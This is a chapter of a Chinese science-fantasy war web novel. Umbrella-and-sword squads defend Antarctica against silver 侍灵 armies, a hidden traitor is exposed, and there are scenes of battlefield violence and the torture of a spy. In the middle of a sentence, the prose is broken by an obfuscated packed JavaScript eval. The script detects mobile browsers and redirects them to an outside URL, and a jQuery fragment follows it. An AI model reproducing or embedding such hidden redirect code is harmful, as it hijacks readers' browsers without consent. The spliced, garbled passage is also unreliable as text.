黑巴紧锁眉头，一位传令队员冲进大帐就说：“报告，敌军主力已突破中路海岸，千鸟集群和贝比集群在苦守雪牢关。” “留一个集群退守山脚，我带一个集群支援雪牢关！” 黑巴刚出了帐，一众参谋官拉她的黑色短款斗篷和双手。 “敌军势大，您万一被困中部海岸，或者被迫撤往内陆，我们能用于收复海岸的队员就太少了！” “罗里吧嗦的，我有说话这功夫都杀回来了！” 黑巴推倒众人，大步走往三万人组成的箭头形队列前方，抖擞精神，眼神孤傲，抬手敬礼，全员回礼，她转身闭目，队员们的长条围巾同时飘起，一股强大气团吹乱暴风和雪流，激发起层层雪浪。观者知道，这是黑巴集群独有的冲锋队形，所有人的意志和精神协调在一起，使能量场汇合成一股，不仅能将移速飙升到极限，还能抵御灵能子弹和炸弹的攻击。 风雪突变，黑巴集群一瞬出发，下一秒就撞上了盘踞在天梯工程公司飞艇仓库附近的敌军，碾碎侍灵主力后继续向西冲刺。 千万光弹落下，在爆炸产生无数光球，仿佛是一场毁灭人世的光能大雨，黑巴集群像在雨中漫步，一道道直径15CM的光束击中她们，外侧的队员立即失去战斗力，内侧的队员拉她入阵并替换她，黑巴感觉到能量场出现紊乱，她放慢全队移速，下令开伞。 三万把黑伞将全员严密保护，像古代步兵的防御方阵，而队员们还能保持移动，黑巴一边滑行，一边注视岸边，是一种四足机械炮台发射的灵能光束。 轻型四足中威力极能束炮是由一根中威力灵能炮和后方的扁立方体炮台组成，下方有四个机械足，看起来十分简陋，但光束威力很强，三星队员硬吃五发就会败退。 黑巴推测这种机械可以被常规炮弹摧毁，所以敌军肃清海岸后才派它们登陆，她想到这些，正在犹豫要不要冲击这些远程武器单位，南方内陆亮起的庞大红光照明弹，让她立刻改变想法，率队转弯，杀回海岸西角。 光束和光弹如高速闪过的霓虹灯，迎面射向黑巴集群，正如参谋官们担忧的那样，敌军此次战役目标就是家山，夺取家园堡后，就瓦解了南极内陆的Y字形三城防御格局，所以海岸西角涌满了敌军，说明驻守西角的集群被敌军逼退上山了。 黑巴万分懊悔，她在队前冲锋，以身和黑伞正面抵挡光束，身旁队员不断为她递上黑伞，全队一举冲入二十万敌军阵中，数万个弹幕型侍灵，还有数百台轻型四足中型极能束炮，被队员们冲的乱了阵脚，这种机械无法快速转身，被她们一刀拆毁。 队员们交替穿梭在侍灵身边，熟练使用黑伞，挡下银刀和光弹的攻击，再一刀一个消灭侍灵，很快在敌军中心重组队形。但是，黑巴看外围的近战侍灵数量庞大，谁都没想到，家山北坡喊声震天，另一支集群自发结成一般冲锋队形，一边抱着机炮射击，一边滑雪下山，距敌不远后开伞防御，汇成一股黑色巨浪，拍碎了敌军包围圈，黑巴的两个集群完成汇合，且战且退，上山后，驻守北坡的冰树林带，这里提前构筑了由圆形防御墙和一般工事组成的多道防线，后勤集团检查了队员们的0元素含量，轻型伞武装在此得到替换，而侍灵大军从混乱中恢复。 黑巴满心懊悔的坐进地下掩体指挥部，她抬眼看众位参谋官，就羞愧的低头，揉额。 她最讨厌复杂的事了，考虑太多只会错失机会，但这次开战，敌军指挥官的智略明显高她一筹。 “抱歉，我太冲动了，要不是你们劝阻，我们就回不来了。” 她属下的队员都喜欢她这样直爽坦诚的个性。 “您能听进去一半，就很强了。我看敌军这阵炮火明显减弱，说明您刚才杀的回马枪正好打残了它们的远程部队，侍灵主导的战场瞬息万变，胜负只在一念之间，我们参谋官就不擅长临阵应变，恳请黑巴大人与我们协同，谋定而后动。” 黑巴点点头，惭愧和反省使她一时没了主意。 “现在怎么办？” 参谋官们散开，结合电脑和电子地图的情报，用意识通信交流后提出建议。 “守住家山北坡。刚才的信号弹是首都东部，家山南坡的玉珊瑚集团发来了求援情报，说内陆东部关口秘密涌来几十万敌军，数量还在增加。” “那我们得去支援她！” 众人再把黑巴拉住。 “此地的冰树林是生长金属制成，防护极佳，森林地形又利于队员战斗，一旦失去此地，我们人类阵营就失去了收复北海岸的能力！内陆有多个集群，我觉得。” “什么？” “灵能会这次的进攻非常急切，各军种配合不佳。” “你是说？” “嗯，我们守住防区，海岸是南极的第一屏障，决不能丢。” 众人沉默不语，有内奸的可能性让她们不敢再轻举妄动，也不再期待龙葵集群能做什么，有人私语怀疑龙葵，但很快确定她没有紫洋集群训练的消息来源。 内陆，家山南坡下的广袤平原有无数银光闪烁，习惯于蔑视别人的紫洋把防线设施部署在平原外围，丝毫没考虑过在第一工业局隧道外的采矿基地布防，玉珊瑚集团有5000位业凰精锐队员，沿矿石堆和巨型工程机械构筑防御设施，架起机炮，隐秘不动。 少女的双手，捧纯正的粉色长发盖住脸部，恋爱的甜味还在她的心头，她想笑，却笑不出来，世界好像总在反对爱情，令她甜美可爱的脸做着咬牙的表情，被她召集的队长们忐忑不安，因为只用目视就能看清敌军的数量在十万以上。 “姐妹们，这世界已经死过很多人了，今天可能轮到我们了。” “要不撤往隧道吧，我不是怕死，那样我们能多守一会儿。” 玉珊瑚拿头发擦擦眼泪，挺直身体，黑色披肩和衣裙衬托着她完美的身心。 “家园堡不能丢，我们撤往隧道，敌军只需少量兵力就能堵住我们，大军登山如入无人之境，城堡内只有藤萝的科研团队，单靠蝴蝶天使守不住。我们必须在这吸引敌军主力，威胁敌军远程部队，迟滞它们攻山的进度，你们害怕吗？” “哈哈。” 队长们尴尬的笑了，早晚都有这天，玉珊瑚微笑着伸出双手，她们一起拉手。 “我成长的风之部落，认为人没有死亡，我们会化成风语，陪伴大家。” 少女脸上显露决然，众队长一起敬礼，分散归队，保持静默。 敌军其实不知道家山南坡下方还有队员，所以也保持隐秘，直到入侵内陆的侍灵数量达到最大值，才缓缓向山围来，最东和最西的隧道外侧已经能听到有侍灵部队开始登山，突然！夜空一瞬通红，爬在最高矿山的玉珊瑚借此亮光探头张望，辽阔的雪原变成了蠕动的银色海洋，目测敌军总数在50万人左右。 侍灵大军指挥官似乎也被这颗信号弹影响了，全军停止移动了10秒，又突然加速冲山，在采矿基地外围急停，这种绝对统一的指挥力只有侍灵部队能做到，敌军展开弹幕型侍灵方阵，对采矿基地实施了三轮盲射，灵能炸弹如瀑布般灌入白雪皑皑的矿山和平地，将矿石堆和雪地翻了一遍，确认无人后，开始进攻家山。 内陆门户 雪牢关内外，被光球覆盖，蓝色光爆充斥世界，队员们用黑伞也顶不住3秒，只能半开高大黑门，抵御轰炸。 关外海岸，贝比集群的队员们五人一组，四人撑伞，一人持机炮阻击奔驰而来的侍灵浪潮，灵能科技的炸弹将天地融化成一体的蓝色闪电空间，大批侍灵倒在它们自己部队的轰炸之下，侍灵就是这样无情，毫不犹豫，无所畏惧的杀来，所幸关口附近的地形狭窄，侍灵大军拥堵不堪，一束强大光束以雷霆万钧之势贯穿友军，贝比将军赶到光束正前方，开伞，伞被光束融化，她双手持黑剑劈开光束，强风和烈风两位副官掩护她向南撤退。 千鸟带精锐集团，每人持三把黑伞，轮换防御，才接回贝比集群，各队分散到关内两侧的防御工事附近，黑色铁门合拢，人们刚松一口气，二十五万只蒲公英型侍灵全集中到了雪牢关上空，如爬满夜空穹顶的蜂群，持续投下无数颗灵能炸弹，尽管山坡和地面上的队员们不断用伞筒机炮射击，弹无虚发，侍灵部队还是成功占据了铁门的控制开关，随着黑色的巨型铁门缓缓退缩，铺天盖地的银潮涌来。 千鸟早已做过撤退预案和演练，三万人分成两个集群，一个逐渐退往家山东坡，一个撤往业凰环丘，队员在滑行过程中射击空中敌人，有人被光球爆炸的气浪吹倒，另一人马上撑伞为她掩护，其他人伸手将她拉起，继续射击。 队员们身后的雪面传来细碎震动，原来是首都生产的防空自走蟹群刚刚到达，这批螃蟹应该是供给海防集群的，有五万只，现在遇到敌情，自动开火，盲射的高爆弹对空中侍灵虽无伤害，却影响了它们的命中度和飞行控制，队员们跳上机械螃蟹，安装好机炮，火控系统结合了队员意识感知，可以自如躲避光弹，就是移动方式不太雅观，快的像大群发射□□和黑色子弹的爬虫，关内的雪原与夜空，上下都是弹幕，如同两面交错的雨帘，万点光爆，让世界恍如魔境。 冲入关内的近战侍灵大军，突遭千鸟集群折返阻断，关外的主力就堵在外面，不得不再展队形，部署远程火力方阵，可是，千鸟集群只冲了一小段路，就马上退往东坡，敌军指挥官又迫不得已分出一些部队去登家山东坡。 红莲集群和铃兰集群赶到业凰环丘，遇上千鸟的一个集群，汇合一起，再次北冲，先期入关的侍灵部队撞上业凰集群，少女们滑行跳跃，身法流畅，剑游如蛇，毫不停歇的消灭了这股敌军，当她们赶到雪牢关附近雪原的时候，敌军已然漫天遍野，千鸟本部都被逼上山坡，红莲奋战片刻，夜兰的医疗集群赶到，四个集群向家山东坡猛攻，海岸的热浪引发了内陆突降暴风雪，夜幕之下，万千光海，风雪擦过少女们的容颜，她们在侍灵军阵中狂舞，而光弹轰炸从未停止，谁也不知道战局全貌，队员们的每一段滑行，每一次挥剑，每一次开伞，心中只有战斗这一个信念，大家共同把命运交给了红莲，甚至没人注意到内陆突然升空的红光。 红莲在一剑挥斩侍灵的过程中，眼角余光看到了南方有红色，从色泽和范围判断是配发给将军级队员的全域信号弹，内陆有重大敌情。 哪？ 家山。 有人向灵能会泄露了紫洋集群进行长途训练的情报，从行动规模上判断，敌军早就躲藏在东部关口外的冰山群中隐蔽。 是谁？ 红莲收剑，一拍身旁队员肩膀，用意识通信传令，夜兰集群协助千鸟余部登上家山东坡。她和铃兰集群即将支援家山南坡的玉珊瑚，正好撞上包围过来的敌军主力部队，不得以转向雪牢关东侧的滑雪道。 雪道顶端有千里的黑猫集群，她们解除隐蔽，用狙击枪和机炮掩护红莲和铃兰集群上山，赛博空港的天荷又派来了蜂鸟型飞行队员，陆空协同的架势让敌军总指挥官将后续兵力全转移到内陆西部。 猜疑链 空港山脉连接雪牢关的滑雪道直通山脉北侧陡峭的刀锋岩石地形，那里冰洞和小道密布，业凰队员们退往哪里休整，蒲公英型侍灵部队占不到便宜就放弃了射击，飞往西部雪原。 红莲用等待敌军主力过去的时间，叫停众人。 队员们从山崖上下的小道上聚拢过来，她们从未见过红莲如此焦虑犹豫，就都等她说话。 我们要知道，业凰队员的前身是智略出色的学员群体，她们从未觉得红莲是长官，是仰慕她的才华和品格，才服从她的统领，这点从业凰队服都是大号黑帽和黑大衣就能看出来，大家都觉得自己也是将军。反之，红莲自己也从未视队员为士兵，她现在只能赌，赌队员们不会心生嫌隙，赌叛徒就在她们之中，赌叛徒会自己站出来。 “我说过，战斗靠自愿，你想加入灵能会，去就好了，不要连累别人。” 众人一刻便懂了红莲的话意，各自扫视旁人，铃兰走来，被红莲摆手制止，一位集团级指挥官向前走了两步，打量着雪地上的红莲，看她抬头后眼神坚定，明白了所言非虚。 “您的意思是，有人泄露了紫洋长途训练的情报？” “是，而且她还会以某种方式传递情报，知道情报的只有参谋官和集团级指挥官，除了天烛，夜兰，望江南，玉珊瑚集团，紫洋集群，知情人都在这。” 人们都因叛徒存在而无能为力，各自低头不语。 “你为什么要出卖别人来换取自己的荣誉呢，我这辈子都理解不了你们这种人。” 红莲说着，双手锤击雪面，黑色长发和雪片融在一起，她从未想过，世界到这地步，人类之中还有败类，就像一池纯净的湖水中突然冒出了污泥，玷污了战死和奋战的队员们。 生命本身或许是错误的累积，当它接近毁灭，把最后一种错排除，才有可能试出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875314|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正确。 “我知道是谁，我对不起大家，我俩先走一步。” 一位参谋官推倒同伴，举剑自刎，被铃兰一剑打断。 人们盯着倒地的女子，白色长发，红莲才发现，似乎在博物馆都市见过她，或者说这张脸是天家所属孕育罐基地出生者常见的脸孔，发色也不像南极白发人那样有杂色，基因技术仅仅微调了她的长相。 红莲站起来，茫然的走到白发女子身边。 “我不明白，业凰久经恶战，你为什么熬到现在才背叛呢。” 女子抱住红莲的靴子，大声哭嚎。 “真的不是我，红莲姐姐，还有大家，真的不是我！” 她的挚友，想自刎的参谋官说话了。 “是我推荐你加入了参谋部，屡次见你休假期间勘察地形，打听情报，你说是构思新战略，我痛恨自己，没怀疑过你。” “真的不是我。” 红莲揪起她的领子，见她已然哭成泪人，就心软的松手了。 “我已同生共死的亲情问你，请你不要说谎，你是天家主派到南极的北极市民吗？” 她犹豫的看看红莲，再看看山崖之上的三万队员，随后点头。 “你是私下收集了大量情报吗？” 红莲看她默认，再问：“是留着给自己换取生机吗？” 女子慌了，声嘶力竭的哭诉：“我犹豫过，对不起，真的不是我！” “是我，是我的天真害了众人。姐妹一场，你走吧，去灵能会吧。” 红莲说着，甩开她的手，对铃兰使用意识通信，让铃兰集群留下，伺机协助黑巴集群收复海岸。 红莲集群的一万五千多人开始沿滑雪道下山，黑猫集群再次提供远程火力掩护，高速俯冲的速度加上援救玉珊瑚集团的急切心情，不经意施展出了全身的0元素能量场，全员直接冲出雪坡，飞向夜空，红莲和队员们身心协同，交替旋转身姿，在全队外围形成一股引燃空气的火红旋风，横贯空中飞行的蒲公英侍灵部队，红莲望见中路的敌军主力已经开始围攻业凰科学院，就率队砸入雪原，迸发百米雪浪。 她们一刻不停，顺势直冲敌军背后，速度之快，导致大部分侍灵还未反应就被黑剑斩杀，这个情急之下产生的队形被队员们称为红莲之阵，是基于地面剑术配合与脚踩炮弹战术积累的高速飞行经验产生。 现在，队形势能耗尽，到达业凰环丘，能量不足的和负伤的队员离队，冲到学院的外墙下，望江南派出联队，接她们进入学院休整。 红莲和三个集团，九千多人再度奔赴家山南坡，沿路的侍灵部队设下重重阻隔。 空荡的滑雪道上，只剩了白发女子一人，她爬起来，嘴里嘟囔着，双手不断擦泪，恍恍惚惚的跳下山崖，山上的铃兰能看到她的行动。 她纵身一跃，一头栽入深雪，浑浑噩噩的再爬起来，一边抽泣，一边不断重复一句话。 “真的不是我，你们怎么就不信呢。” 巡逻的侍灵部队很快发现了她，似乎是要活捉她。 “姐，你会后悔的，我是被你冤枉的，我也好后悔，没能早点下决心。” 白发女子用左手擦擦眼泪，右手整理衣冠，然后变出黑剑，直面数千敌军，银色身影在她朦胧的视线中晃动。 “红莲必胜！” 女子发起了一个人的冲锋。 山崖上的铃兰集群发现了这阵骚动，她们纷纷跳山，可赶到时，女子因是参谋官出身，剑术平平，已然殒命。 海岸东角的敌军不多，铃兰集群再退回山崖，等待黑巴集群把握收复海岸的时机，这举动偶然迫使敌军分出了一些部队加强海岸西部防御，侍灵全军必须维持住中路运输线，才能牵制内陆的各集群，并保持战场主动权。 出卖人命 要全面了解其他集群的动向，必须将时间线拨回战役初期。 紫洋志得意满，全员到达巨大岩柱附近雪原的用时比预定时间少了30秒，说明初次训练的进展已算神速，只不过，二星队员的精力消耗很大，她们东倒西歪，紫洋见状，也觉得没必要把大家逼的太紧，适度放松一会儿的功夫，北海岸的炮声和一辆装甲运输车同时到达紫洋身边，车轮溅出的雪水喷了紫洋一身，让她既愤怒，又觉事态诡异。 司机大喊：“敌情！北海岸！” 紫洋卫队是指她属下的三星队员，队服特点是软甲腰后有一片后摆，能提供高速且灵活的机动能力，武器是双剑。 “放肆，这是紫洋将军。” 司机跳下车，挺直身姿后敬礼，这样她就不用看紫洋那可怕的变脸了。 紫洋轻抚金色的公主发式，纯真面容仰视司机，寻找她的视线，看这队员吓的发抖，就笑说：“我以后再收拾你，说。” “我是魔鬼塔第二运输局传令队员，通知您，北海岸有陆空大军入侵，总数超60万。” “6？” 她只问了一个数字，就意识到事态严重，大喊：“全员全速，回家！” 散漫的队员们刚放松了不到一分钟，拖着身体组成队列，却见紫洋持剑走来，众人急忙出发，46875人乱乱糟糟的往西猛赶，路上却见海岸方向的夜空有海量光球飘过，紫洋心生疑虑，下令全员行进中恢复作战队形，西部雪原的上空忽然腾起的巨大红光，使紫洋抬手止住全员移动。 野芹副官赶到她身边就问：“你咋啦，战役开始了，我们得赶快回到防区呀！” 紫洋没理她，微笑着说：“参谋官，集团级指挥官，出列！” 熟悉紫洋的队员明白，她的话尾语气是已经控制不住自己的怒火了，于是她真的捅人了，第一个参谋官被她放倒，众人还没明白怎么回事，第二个受害者也倒地哀嚎，野芹拦了她一下，却被她甩开，只见她甩飞自己的黑色外套，毫不犹豫的走到第三个参谋官身边，重构黑剑，捅刺的动作被那参谋官跪地躲开。 “您为什么杀我啊？” “我数到三，你说实话。三！” 紫洋这一剑才是认真的，剑身随参谋官意志崩溃的瞬间停在其脖子边。 “别！我说，我是天家主的人。” “噢！” 紫洋一边点头，一边笑容满面的拉起她，用手搂住她的肩膀，向远离人群的方向走，同时用另一只手悄悄示意，救助受伤的队员，其实紫洋只刺了很浅就变没黑剑，意在试探队员的骨气。 “噢，我早就想和天家主结盟啦，她红莲算个什么东西，霸占本应属于我的权力和王位，哎，刚才是试探一下谁是密探嘛，你别介意啊？” “对对，红莲不配在您之上，我会替你联络天家主，我们里应外合。” “那刚才的信号弹是怎么回事呢？” 密探闭口不言，但见紫洋怒气随时间上升，就笑说：“侍灵大军已经进入西部雪原，一会儿就攻占家园堡啦，功劳可以分您一半，哎？” 紫洋猛一用力，掰她的肩膀，将她整个人转了起来，她在旋转过程就觉有无数人向自己冲，停转的时候，全身的背面，已被黑剑扎穿，刀刀避开要害。 一名队员替紫洋捡起队服上衣，并为她披上，而她仍面带笑容，走近叛徒。 “哎？变出黑剑呀？” 恐惧感，疼痛感，叠加待遇前后的巨大落差，让叛徒完全丧失思考能力。 “我让你变出黑剑！对！” 紫洋抓住叛徒的已被鲜血淋满的右手，将叛徒的黑剑架在叛徒自己的脖子上。 “我们不想弄脏自己的手，来，你自己来个痛快的，我让你死啊！” 叛徒被紫洋大喊吓的手抖了一下，野芹上前一推她的手，就了结了她。 “磨磨唧唧的麻烦死了！走！” 全员结成作战队形，全力向西冲刺。 公正的评价紫洋的人品，可以说她没有大的瑕疵，继承女王血脉应有的高尚良知和道德原则，尤其是用人不看出身，唯才是用这点很得人心，而她狠辣多疑的性格，完全是恶毒女王的教育结果。 此刻，紫洋听着海岸方向越来越近的隆隆炮响，身边队员传达附近无线天线发来的玉珊瑚集团求援信息，万分后悔自己没听母亲的忠告，有些人是烂到根的，不要轻信任何人。 不过，她也有些欣慰，身边这些队员都有志气，没让别人瞧不起，只是叛徒出在她的队伍中，让她觉得掩面扫地，如若丢了家山堡，再搭上业凰的5000人，红莲一定饶不了她。 大雪纷飞，夜幕如布，服务局的阵地外围，已经出现了近战侍灵和猫型人偶的混合部队，驻守阵地的阳荷集群火力全开，炮弹爆炸和机炮子弹呈现的惊人防线，让紫洋也畏惧三分，于是她提前下令全员转向，向服务局和业凰科学院中间的后勤中转基地方向疾驰，保持高速移动的同时，或许能顺路援救那里尚未及时撤离的后勤队员，正常情况下，分散在南极内陆的后勤集群有充足时间撤入临近学院或城市，但是，敌军这次的进攻太突然了。 37. 章37南极：刀剑清风照雪 夜幕常在，绒白雪原宛如被混黑夜色包围的孤岛，纯黑穹顶洒下银白幽冷的雪花，却只能照亮这无尽黑暗中的一片雪地，更多地方依旧沉浸在一种深邃、不可名状的黑暗之中。 风带刺骨寒意，呼啸着穿梭于后勤中转基地的防御墙之间，发出凄厉的呜咽，仿佛是亡魂在寻找归途时发出的哀鸣。 琐碎且急促的金属碰撞声音，时而低沉，时而尖锐，如同重金属摇滚乐的前奏，预示着一个又一个近战侍灵步入防守薄弱的后勤基地。 隐蔽在居住区的后勤队员，是剑术菜鸟之中的佼佼者，只有少数人会用一命剑，她们嘴唇发抖，带动全身颤抖，身旁的队友互相轻触身体，刚缓解一点恐惧，路障堆的某个物资箱被侍灵砍碎，这一声清脆斩击，吓的众人一起抖动，人们感觉侍灵军队仿佛是一头灭世巨兽，诡诈的缓缓靠近猎物。 后勤队长悄悄的给队员分发轻型伞武装，确保每人至少有两个伞筒，再小心翼翼的变出黑剑，她远望居住区最内的地板上，手无寸铁的后勤队员顶着地下室盖子观察外界，那些队员变不出来黑剑，只能接通轻型伞武装储存架的自毁开关，一旦此地彻底失守，她们就销毁0元素武器装备，躲藏地下，听天由命。 这支侍灵部队是从西面攻入后勤基地，说明西部雪原的侍灵大军未能在第一时间攻占家园堡，突袭讲究时间紧迫，必须尽快占据更多高战略价值据点，于是赶来此地，后续部队向中部雪原急行军，若能配合攻入雪牢关的主力部队，便可控制大半个南极内陆。 侍灵大将刽子手思考这些战略计划，迈动近三米高的身姿，轻松跨过低矮的防御墙，随手推翻了沙袋工事内的机炮发射架，它放眼整个后勤营地，外围是车辆检修设备和装甲运输车，内部有大型帐篷和密封居住舱组成的迷宫，钢化地板上堆着很多物资箱，异常空寂。 数百个侍灵在居住区迷宫中搜查，不时砍破物质箱，检查里面的食品和装备，背着探测设备的侍灵把透视信息发送到刽子手意识中，它们用科技设备探测不到体含0元素的队员，所以基地内好像没人，但作战经验丰富的刽子手用巨型十字刀往雪里狠狠一插，蹲下观察机炮台附近雪面的杂乱脚印。 一个侍灵看到一只遗落的轻型伞武装，用银色手套触碰伞筒外壳的瞬间引发了0元素装备防盗程序的自毁爆炸，这次小爆炸不仅让基地内外的近万名侍灵立即进入警戒模式，还吓断了那位站在地下室入口盖子下方队员的紧绷神经，她哎呦一声，从井内的梯子上摔了下去，入口的金属盖子重重落下，两声异响使得全员彻底暴露。 “杀呀！” 营地中心的近百个侍灵被九十门伞筒机炮的交叉火力瞬间撕碎，数千只银刀如风袭来，队员各用胸怀夹住黑伞，仿住银刀的同时双手端机炮射击。营地内，银光闪烁，黑弹如线，到处是侍灵死亡排出的淡蓝色火焰，队长们眼见基地最内的大部分敌人已清除，就带队员汇合，用伞格挡外部涌入的敌军，向居住区里面撤退。 少女们的喊声比机炮开火先出现也说明她们的战斗水平确实很菜，一根巨大刀片横切几十个侍灵，一招撞碎了九十支黑伞组成的防线，队员们被十字刀的巨大冲击力推飞，散落满地，侍灵银刀接踵而至，后勤队员起身乱砍，全部砍空，她们是靠体内外的0元素硬抗侍灵攻击，自己却浑然不知。 各位队长大喊：“机炮变伞呀！” 人们才想起还有伞能用，纷纷捡起伞筒，打开黑伞，格挡银刀。 近战侍灵的运动速度，超过普通人类几十倍，水母头里的战斗程序自动迭代战术技巧，能施展无视关节运动规律的诡异剑术动作，还能利用胸甲内的灵能发生器进行漂浮平移，一对银刀几乎能切开任何物体，若是放在古代，一只侍灵就足以灭国。 战斗队员之所以更强，是因0元素的攻防效果比灵能装备强五倍以上，加上真我剑术足够莽，队员之间必须配合，在滑行或跳跃过程中攻击，封死了侍灵躲闪的余地。 像后勤队员现在这样，自己原地站着不动是封不住侍灵躲闪动作的，只有20名队长级队员略懂一点滑步配合，她们焦急的组队横冲其他队员组成黑伞防线前方，斩杀一波侍灵后，再折返冲杀，并且逼着慌乱的菜鸟队员往居住舱区的走廊撤退，就能减少防线面积，降低侍灵的数量优势，可她们丝毫没考虑自己的撤退路线。 那个身高两米五的女魔头，戴了W形的蒙眼钢盔，使后勤队长看不清它的脸，只见它通身黑色连体衣，拔起银亮的巨型十字刀，那刀身的妖魔浮雕让人不寒而栗，刀刃的银光顷刻就到队长眼前，其他十九人一同掩护她，才防住刽子手的攻击，众人再被撞散，不少人还未起身防御，就死在刽子手的惊人武技之下。 到仅剩一名队长能战之时，刽子手伸出一只胳膊，队长急忙挥砍，黑剑却被刽子手的灵能肌肉夹住了，刽子手抓住队长的脖子，将她整个人提了起来。 “原来如此，你们开发的叫0元素的能量如此致密，叠加神秘维度的绝对斥力，有了近乎完美的攻防能力。只有在一点施加到物理极限的能量武器，才可以消耗0元素，真是棘手。” 后勤队长出于求生本能，双手抓住敌手，双腿胡乱踢打敌身，她感觉被刽子手掐的不疼，就松手去拨黑剑，敌将手急眼快，也拔黑剑，却被黑剑灼伤，队长抽剑要砍，刽子手却将她甩向十字刀，她眼见自己即将被巨大刀刃一分为二。 一股什么风，风速超17极飓风，风力摧枯拉朽，吹碎了基地东门的防御墙和沿途的侍灵，一路上的侍灵死亡挥发的蓝色气云尽头，银色十字刀在刹那间，断成四片，飞散开来。 后勤队长落在一位高大女子的怀中，她抬头看她，女子波浪白发之间，华美面容是冷静自信的微笑，真是位绝代佳人，她在心中赞叹道。 风信子就在震惊到忘记反应的刽子手身前，用温柔的动作放下后勤队长，轻摸她的头顶。 “去吧，到队员身边，指挥她们退到地下室入口，用黑伞设防。” “您？” “我一个人足够。” 一人单挑全军的藐视点燃了刽子手自我意识的全部怒火，于是赤手空拳的攻击，横踢和和肘击一起打向风信子，白衣一闪，是不同时空的视觉，风信子不仅快，与生俱来的风族血脉和毕生苛求剑术美学造就她对近身战的空间做到了全知，敌人身体运动的每一微米，力量变强的每一微妙，尽在她的掌控，0元把她的能力翻了五倍，因此在她眼中，敌将是纯粹的慢动作，她左手轻抚敌人的踢腿并逐步前移用力，侧歪上身躲开敌人的拳头，右手往自己怀中缩后向敌人头部上刺，单腿前踢敌人的支撑腿，总之，这个动作美的像一只扇翅欲飞的白天鹅。 刽子手同样擅长近战，它还比风信子多练过2000年的武学，黑剑后移的瞬间就让她意识到大事不好，急用另一只手下移，去护自己的灵能核心，却没料到剑击直刺面门，剑身切断了刽子手的左手，它还因突然失去重心，身体不受控的转了起来，情急之下，用尽力量去踢风信子，风信子单手防的不够完美，就顺势倒地翻滚一周，起身出剑。 侍灵部队一拥而上，风信子退后，一转身姿，如一股白光流转窜动，几十个侍灵消亡，众侍灵后退掩护刽子手，它正要起身督战，才发现自己的右脚也没了，它这才和风信子打了一个照面，就完全丧失了战斗力。 懊悔，恐惧，恼羞成怒使刽子手只记得兵力优势，再看身陷万军之中的白衣女子，面对银刀如林，面带微笑，白色塑身衣展现着恍如隔世的从容。 “你一个人能挡住我三万大军？” “哼。” 风信子一捋淡粉色长发，云淡风轻的说：“我从来都是一个人。” “杀了她！” 刽子手高喊一声，银色人形怪物汇成的潮水涌入后勤基地中心，地下室入口蹲伏的70名队员躲在黑伞组成半球形防御之下，瑟瑟发抖，伞上的人潮让她们回想起了机械军团战役时的恐怖感，地下室内的后勤队员不停将全新的伞筒递上上来，供她们替换残破黑伞。 正当她们以为一切都完了，一股旋风吹动银色潮水产生一圈涟漪，侍灵部队的攻势停滞了一刻，再攻再被停住，渐渐打成了巷战，队员们透过伞缝，看到风信子仿佛一条游弋于千刀万剑之间的白龙，每一次挥剑都能炸杀近百侍灵，还击退一圈，可是敌人太多，风信子只能选择躲掉大多数剑击，身体各部位偶被命中，就靠0元素存量硬抗了。 队长鼓起勇气，抱了一堆伞筒，刚要站起就听到风信子的意识通信。 “别动，太多了，黑伞没用，妨碍我。” 队长惊讶于风信子在此等极限战斗中，还能抽出脑力考虑战场，这就是将军的实力吗？ 而撤到基地外围的刽子手缓缓分配灵能，修复手脚和十字刀，它誓要除掉这位孤傲的剑术强者，为灵能会除掉一个大患。 几番战斗下来，居住区的密封舱和帐篷早已被混战砍平，刽子手复原了，但它不能像队员那样恢复能量，只是将全身能量分配给缺失的部分，这代表它弱了许多，于是它叫停侍灵部队，在营地中心退出200米圆形空地，好观察风信子的情况。 女子的一半白发被血染红，塑身衣变成了黑色，衣服上的破洞逐渐扩大，变成短袖上衣和短裤，这说明风信子的0元素存量见底了，精神力也不足以让队服保持白色，踉跄一步，用黑剑撑住身体。 刽子手确认风信子已是风中残烛，就高傲的走到阵前。 “狂啊？再狂啊！几千年来，我见过无数强者，都倒在灵能会的铁蹄之下！” 它高举十字刀，旋转起来。 “今天，你也得死。” 风信子冲了，刽子手看空地中心没人，一片白光逼近，迫使它慌忙扔出十字刀。 轰！ 一道云柱和一声嚎叫砸中了刽子手，便使它四分五裂，风信子原本打算舍身直冲刽子手，但她见有人可以更早毙敌，就将一命剑，用于斩碎十字刀。 野芹和风信子配合消灭了敌将，滑行到她身边。 “没事吧？” “你以后再抢，我就连你一块砍了。” 野芹一脸坏笑，转身的同时，单手向后做了个表示抱歉的手势，就继续往西赶路，紫洋集群的四万多名队员阵势如黑色浪潮，冲灭侍灵部队。 紫洋稍作停歇，看了一眼风信子的状态。 “你们带她撤往服务局，要快，这里守不住了。” 后勤队员销毁了0元素装备，扶风信子上车，车队启动，摩罗集团恰好赶到，原来是阳荷派了的救援队，紫洋快速分析局势后，揪住摩罗。 “你去支援那个疯子！” “谁？” “野芹啊！她一开打就忘了队友，我把那两个集群的指挥权叫你了。” “那你去哪？” “业凰，挡住中路敌军。” 不能让西北两股敌军主力合流。 紫洋话说一半，就带一个集群15625名三星精锐队员向北进发。 意气英烈 西路的野芹集群加上摩罗集团，有34375人，野芹孤身猛冲，其他队员猛追，广阔万里的雪白平原上，银色人潮是一潮又一潮的涌来，队员们一同滑雪，展开一字横向队形，单手持机炮向前盲射，打通前路，侍灵部队逐渐汇合围堵，少女们一展黑黑伞，撞翻群敌，收伞放至背后，在交替滑行中消灭敌军，冲破敌军蔓延的在中西部雪原的多条封锁线，逼近家山外围的侍灵远程部队，敌军指挥官分流了攻山部队，为远程部队建立防线。 这时，家山的东南山坡及家园堡附近有近十万侍灵，要说龙葵集群什么都没做，也不对，她们在城堡下方建立了防线。侍灵顶着四层城墙的机炮火力和蝴蝶天使的空中火力，冲到城下的已经溃不成军了。东坡山下有6万侍灵，并且还在增多，意图与中路主力合流，被红莲队伍截住，山上的千鸟集群见状，就发动多轮冲锋，将红莲队伍带上东坡。 